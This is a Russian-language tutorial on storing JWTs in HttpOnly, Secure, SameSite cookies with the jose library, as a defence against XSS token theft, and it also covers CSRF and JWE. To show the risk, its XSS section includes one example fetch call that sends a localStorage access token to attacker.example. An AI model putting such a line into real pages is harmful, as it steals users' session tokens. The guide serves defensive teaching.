HttpOnly-куки и защита от XSS

Почему хранение токенов в браузере — критическая зона риска

В веб-приложениях основная проблема безопасности часто связана не с криптографией как таковой, а с тем, где и как хранятся токены доступа. При использовании JWT вместе с библиотекой вроде jose разработчик получает мощный инструмент для подписания и проверки токенов, но уязвимость может возникать на уровне клиентского хранения.

Наиболее опасный сценарий — хранение JWT в localStorage или sessionStorage. Эти механизмы доступны JavaScript-коду страницы, а значит становятся прямой целью для атак класса XSS (Cross-Site Scripting).

XSS позволяет злоумышленнику внедрить скрипт в контекст страницы и получить доступ ко всему, что доступно DOM и Web Storage API, включая токены авторизации.


Механизм XSS и последствия для токенов

XSS-атака возникает, когда приложение некорректно обрабатывает пользовательский ввод и вставляет его в HTML/JS без экранирования.

Типичный сценарий:

  • пользователь вводит данные
  • данные попадают в DOM без фильтрации
  • злоумышленник внедряет JavaScript

После выполнения внедрённого кода атакующий получает доступ к:

  • localStorage
  • sessionStorage
  • DOM-данным
  • запросам, выполняемым от имени пользователя

Если JWT хранится в localStorage, его можно украсть одной строкой:

fetch('https://attacker.example/steal', {
  method: 'POST',
  body: localStorage.getItem('access_token')
})

Это делает любые механизмы подписи и проверки токенов бессмысленными, если канал хранения скомпрометирован.


HttpOnly-cookie — это механизм, при котором браузер хранит cookie, но запрещает доступ к нему через JavaScript.

Установка:

Set-Cookie: access_token=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict

Ключевая характеристика:

  • JavaScript не может прочитать cookie
  • cookie автоматически отправляется браузером на сервер
  • защита от кражи через XSS значительно усиливается

Почему HttpOnly не просто «галочка безопасности»

HttpOnly меняет модель угрозы.

Если раньше токен находился в зоне доступа JavaScript, то теперь:

  • XSS не может напрямую извлечь токен
  • атакующий может попытаться только использовать текущую сессию, но не украсть её

Это критически важно для JWT-схем, где токен самодостаточен и содержит claims.


Библиотека jose используется на сервере для:

  • подписи JWT (SignJWT)
  • проверки (jwtVerify)
  • работы с JWS/JWE

При использовании HttpOnly-cookie схема меняется:

  1. сервер генерирует JWT через jose
  2. помещает его в HttpOnly-cookie
  3. браузер автоматически отправляет cookie на сервер
  4. сервер извлекает токен из cookie и проверяет через jose

Пример серверной установки:

import { SignJWT } from 'jose'

const token = await new SignJWT({ userId: 123 })
  .setProtectedHeader({ alg: 'HS256' })
  .setExpirationTime('1h')
  .sign(secret)

res.setHeader('Set-Cookie', `access_token=${token}; HttpOnly; Secure; SameSite=Strict`)

Проверка:

import { jwtVerify } from 'jose'

const token = cookies.access_token

const { payload } = await jwtVerify(token, secret)

Несмотря на сильную защиту от кражи, HttpOnly не решает все проблемы.

1. XSS остаётся опасным

Хотя токен нельзя украсть, злоумышленник всё ещё может:

  • выполнять действия от имени пользователя
  • отправлять запросы через браузер жертвы
  • менять состояние аккаунта

HttpOnly защищает «секрет», но не защищает «сессию».


2. CSRF становится актуальной угрозой

Поскольку cookies отправляются автоматически, возникает риск CSRF-атак.

Пример:

  • пользователь авторизован
  • открывает вредоносный сайт
  • сайт отправляет запрос на банковский сервис
  • cookie прикрепляется автоматически

SameSite как обязательное дополнение

Современная защита строится не только на HttpOnly, но и на SameSite.

Значения:

  • Strict — cookie не отправляется в кросс-сайтовых запросах
  • Lax — ограниченная отправка
  • None — отправляется всегда (требует Secure)

На практике:

Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict

Это минимизирует CSRF-поверхность.


Почему localStorage считается антипаттерном для JWT

Использование localStorage часто объясняется удобством, но с точки зрения безопасности:

  • полностью доступен JavaScript
  • не защищён от XSS
  • токен можно извлечь мгновенно

Даже CSP (Content Security Policy) снижает риск лишь частично.

HttpOnly-cookie в этом контексте — архитектурное решение, а не настройка.


JWE и дополнительное усиление защиты

При использовании jose возможно не только подписывать JWT, но и шифровать их (JWE).

Это добавляет слой защиты:

  • даже при утечке cookie содержимое недоступно без ключа
  • уменьшается ценность перехваченного токена

Пример концептуально:

  • JWS: защита целостности
  • JWE: защита конфиденциальности

HttpOnly защищает канал доступа, JWE защищает содержимое.


Практическая модель безопасной архитектуры

Сочетание технологий:

  • jose для криптографии JWT
  • HttpOnly-cookie для хранения
  • Secure-флаг для HTTPS
  • SameSite для защиты от CSRF
  • короткое время жизни access-токена
  • refresh-токен также в HttpOnly-cookie

Схема взаимодействия:

  • access token живёт коротко
  • refresh token обновляет access
  • оба недоступны JavaScript
  • сервер контролирует сессию через проверку JWT

Ошибки реализации, которые сводят защиту на нет

1. Доступ к токену через JavaScript-дублирование

Некоторые системы делают:

  • HttpOnly-cookie + localStorage одновременно

Это возвращает уязвимость XSS.


2. Отсутствие Secure

Без HTTPS:

  • cookie может быть перехвачен в сети
  • HttpOnly не спасает

3. Отсутствие ротации токенов

Долгоживущие JWT:

  • увеличивают окно атаки
  • делают компрометацию критичной

Итоговая модель угроз

При использовании HttpOnly-cookie:

  • XSS → не позволяет украсть токен напрямую
  • CSRF → требует отдельной защиты
  • сетевые атаки → блокируются Secure + HTTPS
  • утечка токена → сильно затруднена

В связке с jose это формирует архитектуру, где криптографическая целостность JWT дополняется изоляцией браузерного хранения, а не полагается на него.